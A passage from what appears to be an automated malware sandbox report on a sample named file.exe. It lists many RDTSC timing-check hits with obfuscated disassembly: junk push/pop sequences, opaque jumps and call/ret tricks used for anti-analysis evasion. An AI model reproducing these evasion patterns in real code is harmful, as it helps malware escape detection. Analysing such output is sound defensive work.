0x0000005b popad 0x0000005c mov edi, 6BA3BBD0h 0x00000061 push 00000000h 0x00000063 sub dh, 00000041h 0x00000066 jg 00007FDDF0E482BCh 0x0000006c mov edx, dword ptr [ebp+122D2C26h] 0x00000072 push 00000003h 0x00000074 mov edx, dword ptr [ebp+122D2980h] 0x0000007a call 00007FDDF0E482B9h 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF4E7 second address: EEF4ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF4ED second address: EEF518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FDDF0E482B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF518 second address: EEF549 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDF0723BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edx 0x00000010 jmp 00007FDDF0723BE0h 0x00000015 pop edx 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDDF0723BDCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF549 second address: EEF54F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF54F second address: EEF553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF553 second address: EEF557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF649 second address: EEF64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF64D second address: EEF69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D2818h] 0x0000000e push 00000000h 0x00000010 stc 0x00000011 call 00007FDDF0E482B9h 0x00000016 pushad 0x00000017 jno 00007FDDF0E482BCh 0x0000001d jbe 00007FDDF0E482BCh 0x00000023 popad 0x00000024 push eax 0x00000025 push esi 0x00000026 push edi 0x00000027 pushad 0x00000028 popad 0x00000029 pop edi 0x0000002a pop esi 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f push eax 0x00000030 push edx 0x00000031 jno 00007FDDF0E482BCh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF69A second address: EEF6C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDF0723BDFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF7DE second address: EEF7ED instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF7ED second address: EEF8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add ecx, 768505C7h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D1822h], ecx 0x00000017 push A494F680h 0x0000001c pushad 0x0000001d jl 00007FDDF0723BDCh 0x00000023 jc 00007FDDF0723BD6h 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f popad 0x00000030 add dword ptr [esp], 5B6B0A00h 0x00000037 mov esi, 04557C46h 0x0000003c push 00000003h 0x0000003e mov dword ptr [ebp+122D2DFFh], edi 0x00000044 push 00000000h 0x00000046 sub dword ptr [ebp+122D1F36h], esi 0x0000004c push 00000003h 0x0000004e and dh, 0000000Fh 0x00000051 push C18F29ECh 0x00000056 jmp 00007FDDF0723BE8h 0x0000005b xor dword ptr [esp], 018F29ECh 0x00000062 call 00007FDDF0723BE2h 0x00000067 pushad 0x00000068 mov cx, FDBEh 0x0000006c mov esi, dword ptr [ebp+122D2A40h] 0x00000072 popad 0x00000073 pop ecx 0x00000074 lea ebx, dword ptr [ebp+1245326Fh] 0x0000007a jng 00007FDDF0723BDCh 0x00000080 xchg eax, ebx 0x00000081 push eax 0x00000082 push edx 0x00000083 jnc 00007FDDF0723BECh 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF8B2 second address: EEF8B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FDDB second address: F0FDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FDDF second address: F0FDE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FDE3 second address: F0FDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FDDF0723BD8h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FDF1 second address: F0FE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDDF0E482C6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FE12 second address: F0FE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7722 second address: EE7734 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDDF0E482BAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7734 second address: EE7740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007FDDF0723BD6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DEC5 second address: F0DEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DEC9 second address: F0DECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DECD second address: F0DED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E02A second address: F0E042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BE3h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E192 second address: F0E197 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E432 second address: F0E45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDF0723BD6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FDDF0723BDAh 0x00000013 popad 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 jp 00007FDDF0723BD6h 0x0000001e je 00007FDDF0723BD6h 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E45C second address: F0E462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E462 second address: F0E466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E5B0 second address: F0E5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E5B6 second address: F0E5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDDF0723BD6h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007FDDF0723BD6h 0x00000012 jmp 00007FDDF0723BE5h 0x00000017 jmp 00007FDDF0723BE7h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E5F5 second address: F0E5FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E5FA second address: F0E600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E757 second address: F0E75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E75D second address: F0E765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E765 second address: F0E773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0AA2 second address: EE0AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0AA6 second address: EE0ACD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDF0E482C4h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDF0E482BBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EFFF second address: F0F010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 js 00007FDDF0723BD6h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F010 second address: F0F07C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C9h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jp 00007FDDF0E482B6h 0x00000010 jl 00007FDDF0E482B6h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jmp 00007FDDF0E482C5h 0x0000001f jne 00007FDDF0E482D1h 0x00000025 jmp 00007FDDF0E482C9h 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jnp 00007FDDF0E482B6h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F07C second address: F0F080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F76A second address: F0F772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F772 second address: F0F78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BDCh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F8D0 second address: F0F8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F8D5 second address: F0F8DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F8DA second address: F0F8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F8E4 second address: F0F8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 ja 00007FDDF0723BE2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F8F4 second address: F0F901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDF0E482B6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04DA5 second address: F04DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04DAE second address: F04DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FCBB second address: F0FCC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F144E7 second address: F144EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1683F second address: F16849 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDF0723BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16849 second address: F1684E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE418D second address: EE41A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FDDF0723BDAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BA98 second address: F1BA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AF13 second address: F1AF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AF17 second address: F1AF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FDDF0E482B6h 0x00000014 jmp 00007FDDF0E482BEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AF39 second address: F1AF3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AF3D second address: F1AF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDF0E482C8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AF5E second address: F1AF63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B3D4 second address: F1B3E0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDF0E482B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B823 second address: F1B831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FDDF0723BD6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B831 second address: F1B83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FDDF0E482BEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E223 second address: F1E227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E227 second address: F1E234 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E2D6 second address: F1E2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E3DC second address: F1E3E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E3E1 second address: F1E3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E575 second address: F1E57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E57B second address: F1E581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E581 second address: F1E5A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDF0E482C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E6CB second address: F1E6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E6CF second address: F1E6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jl 00007FDDF0E482CDh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F07A second address: F1F07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F45F second address: F1F47F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDDF0E482BFh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FDDF0E482B8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FA63 second address: F1FAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FDDF0723BDCh 0x0000000d jc 00007FDDF0723BD6h 0x00000013 pop edx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FDDF0723BD8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov si, B1D3h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 pop esi 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D306Bh], ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jnl 00007FDDF0723BD6h 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FAB5 second address: F1FABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FABA second address: F1FAC4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDF0723BDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20205 second address: F20209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20209 second address: F2021B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21478 second address: F2147C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2147C second address: F21482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20BA6 second address: F20BB7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20BB7 second address: F20BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22922 second address: F22926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22926 second address: F2292A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2292A second address: F229B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDDF0E482C6h 0x0000000d nop 0x0000000e add dword ptr [ebp+1247501Eh], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FDDF0E482B8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov edi, 585F73D7h 0x00000035 push ecx 0x00000036 pop edi 0x00000037 mov esi, dword ptr [ebp+122D2A5Ch] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007FDDF0E482B8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 xchg eax, ebx 0x0000005a pushad 0x0000005b push ebx 0x0000005c pushad 0x0000005d popad 0x0000005e pop ebx 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A47 second address: F24A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A4C second address: F24A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDF0E482BEh 0x00000008 je 00007FDDF0E482B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A6C second address: F24A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
